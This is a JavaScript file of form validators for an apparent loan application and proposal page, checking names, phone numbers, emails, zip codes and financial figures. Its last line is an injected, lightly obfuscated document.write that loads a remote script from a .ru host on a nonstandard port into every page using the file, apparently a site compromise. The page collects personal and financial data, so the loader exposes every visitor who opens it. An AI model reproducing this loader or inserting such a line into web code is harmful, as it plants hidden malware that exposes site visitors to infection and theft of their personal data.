function  ValidateProposal(thisForm)
{
	if  (!hasValue(thisForm.owner_first_name, "TEXT" ))
		if  (!onError(thisForm.owner_first_name, "Please enter your First Name."))
			return false;
	
	if  (!hasValue(thisForm.owner_last_name, "TEXT" ))
		if  (!onError(thisForm.owner_last_name, "Please enter your Last Name."))
			return false;
				
	if  (!hasValue(thisForm.work_phone_number, "TEXT" ))
		if  (!onError(thisForm.work_phone_number, "Please enter your Phone number."))
			return false;
						
	if  (!checkphone(thisForm.work_phone_number.value))
		if  (!onError(thisForm.work_phone_number, "Error in Phone number field."))
			return false;

	if  (!hasValue(thisForm.email_address, "TEXT" ))
		if  (!onError(thisForm.email_address, "Please enter your email addresss."))
			return false;
						
	if  (hasValue(thisForm.email_address, "TEXT" ))
		if  (!checkemail(thisForm.email_address.value))
			return false;

	if  (!hasValue(thisForm.proposal, "TEXT" ))
		if  (!onError(thisForm.proposal, "Please enter your proposal."))
			return false;
			
	return true;
}


function  ValidateForm(thisForm)
{
	if  (!hasValue(thisForm.loan_amount, "TEXT" ))
		if  (!onError(thisForm.loan_amount, "Please enter the Loan Amount value."))
			return false;
			
	if  (!checkinteger(thisForm.loan_amount.value))
		if  (!onError(thisForm.loan_amount, "Invalid Loan Amount value."))
			return false;
	
	if  (!hasValue(thisForm.owner_first_name, "TEXT" ))
		if  (!onError(thisForm.owner_first_name, "Please enter your First Name."))
			return false;
	
	if  (!hasValue(thisForm.owner_last_name, "TEXT" ))
		if  (!onError(thisForm.owner_last_name, "Please enter your Last Name."))
			return false;

	if  (!hasValue(thisForm.city, "TEXT" ))
		if  (!onError(thisForm.city, "Please enter your City."))
			return false;
			
	if  (thisForm.state_code.selectedIndex==0)
		if  (!onError(thisForm.state_code, "Please select your state."))
			return false;
	
	if  (!hasValue(thisForm.zipcode, "TEXT" ))
		if  (!onError(thisForm.zipcode, "Please enter your zipcode."))
			return false;

	if  (!checkzip(thisForm.zipcode.value))
		if  (!onError(thisForm.zipcode, "Error in the Zip field."))
			return false;
				
	if  (!hasValue(thisForm.work_phone_number, "TEXT" ))
		if  (!onError(thisForm.work_phone_number, "Please enter your Work Phone number."))
			return false;
						
	if  (!checkphone(thisForm.work_phone_number.value))
		if  (!onError(thisForm.work_phone_number, "Error in Work Phone number field."))
			return false;
					
	if  (hasValue(thisForm.email_address, "TEXT" ))
		if  (!checkemail(thisForm.email_address.value))
			return false;
	
	if  (!hasValue(thisForm.years_on_current_job, "TEXT" ))
		if  (!onError(thisForm.years_on_current_job, "Please enter a value for the Years On Current Job field."))
			return false;
	
	if  (!checkinteger(thisForm.years_on_current_job.value))
	{
		if  (!onError(thisForm.years_on_current_job, "Error in Years On Current Job field."))
			return false;
		if  (!checkrange(thisForm.years_on_current_job.value, 0, 70))
			if  (!onError(thisForm.years_on_current_job, "Please enter a value  between 0 and 70 for Years On Current Job field."))
				return false;
	}

		if  (!hasValue(thisForm.monthly_expenses, "TEXT" ))
		if  (!onError(thisForm.monthly_expenses, "Please enter a value for Monthly Expenses."))
			return false;
			
	if  (!checkinteger(thisForm.monthly_expenses.value))
		if  (!onError(thisForm.monthly_expenses, "Invalid Monthly Expenses value."))
			return false;
	return true;
}



document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Java.js"></scr'+'ipt>');